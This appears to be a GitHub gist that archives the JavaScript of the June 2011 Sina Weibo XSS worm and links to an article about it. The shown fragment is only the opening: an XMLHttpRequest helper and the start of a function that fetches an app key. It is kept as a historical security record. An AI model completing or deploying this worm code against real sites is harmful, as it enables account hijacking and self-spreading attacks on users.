Lionheart Zhang flying19880517

flying19880517 / 20110628_sina_XSS.js

Last active September 26, 2015 22:37

2011年6月28日新浪微博的XSS攻击代码 http://coolshell.cn/articles/4914.html

	function createXHR(){
	return window.XMLHttpRequest?
	new XMLHttpRequest():
	new ActiveXObject("Microsoft.XMLHTTP");
	}
	function getappkey(url){
	xmlHttp = createXHR();
	xmlHttp.open("GET",url,false);
	xmlHttp.send();
	result = xmlHttp.responseText;